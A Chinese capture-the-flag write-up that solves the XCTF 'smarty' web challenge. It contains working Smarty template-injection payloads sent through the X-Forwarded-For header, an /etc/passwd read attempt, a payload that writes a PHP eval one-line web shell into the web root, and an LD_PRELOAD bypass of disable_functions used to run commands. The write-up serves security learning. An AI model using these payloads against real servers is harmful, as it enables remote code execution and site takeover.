• 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏吧

攻防世界 web高手进阶区 9分题 smarty

互联网 diligentman 2周前 (10-18) 14次浏览

前言

继续ctf的旅程
开始攻防世界web高手进阶区的9分题
本文是smarty的writeup

解题过程

smarty是php模板引擎
这题应该是一个SSTI

进入界面

攻防世界 web高手进阶区 9分题 smarty
根据题目和页面最下方build with smarty
确认是用smarty模板
那就有两种可能的注入点:

  • XFF
  • client IP

尝试
将XFF头改为{7*7}

攻防世界 web高手进阶区 9分题 smarty
发现current IP的值变为了49
可以确定这里存在SSTI

尝试注入

{$smarty.version}

攻防世界 web高手进阶区 9分题 smarty
得到smarty版本3.1.30

{phpinfo()}

攻防世界 web高手进阶区 9分题 smarty
得到php版本7.2.24

注入方法:

  • 常规{}
  • {php}{/php}标签,已经弃用,在Smarty 3.1,{php}仅在SmartyBC中可用
  • {literal}标签,在php5中可以用
  • 静态方法,在在3.1.30的Smarty中被删除
  • {if}标签

总结一下就是在本题中只有常规{}{if}标签可用

先试试常规

{system('ls')}

攻防世界 web高手进阶区 9分题 smarty
没有显示
但之前phpinfo是正常显示的
就迷惑了

试试{if}标签

{if phpinfo()}{/if}

攻防世界 web高手进阶区 9分题 smarty
phpinfo显示

{if system('ls')}{/if}

攻防世界 web高手进阶区 9分题 smarty
ls指令又失败了

不死心试试其他注入方法

{php}phpinfo();{/php}

攻防世界 web高手进阶区 9分题 smarty

{self::getStreamVariable("file:///etc/passwd")}

攻防世界 web高手进阶区 9分题 smarty
都意料之内的直接失败

这说明注入方法还是常规{}{if}标签
但是system可能被干掉了
去看眼phpinfo里面的信息
攻防世界 web高手进阶区 9分题 smarty

攻防世界 web高手进阶区 9分题 smarty
发现system果然被禁了
且可访问的地址是/var/www/html/
这感觉是可以上传文件进行突破
但一时没有思路
查了好一会儿资料
。。。。。。
这里参考无需sendmail:巧用LD_PRELOAD突破disable_functions
一句话木马

{if file_put_contents("/var/www/html/shell.php","<?php @eval($_POST['helter']);?>")}{/if}

攻防世界 web高手进阶区 9分题 smarty

蚁剑连接
攻防世界 web高手进阶区 9分题 smarty
攻防世界 web高手进阶区 9分题 smarty
根据文章
上传bypass_disablefunc.php和bypass_disablefunc_x64.so
具体代码在作者的github上
攻防世界 web高手进阶区 9分题 smarty
url访问

/bypass_disablefunc.php?cmd=cat /flag&outpath=/tmp/tmpfile&sopath=/var/www/html/bypass_disablefunc_x64.so 

攻防世界 web高手进阶区 9分题 smarty
成功得到flag

结语

smarty的模板注入没啥问题,了解下就懂了
后面巧用LD_PRELOAD突破disable_functions有点妙
也查了好久
学到了

知识点

  • smarty模板注入
  • 巧用LD_PRELOAD突破disable_functions

几篇参考

  • Smarty SSTI
  • [BJDCTF2020]The mystery of ip(xff,smarty模板注入)
  • PHP的模板注入(Smarty模板)
  • 无需sendmail:巧用LD_PRELOAD突破disable_functions

喜欢 (0)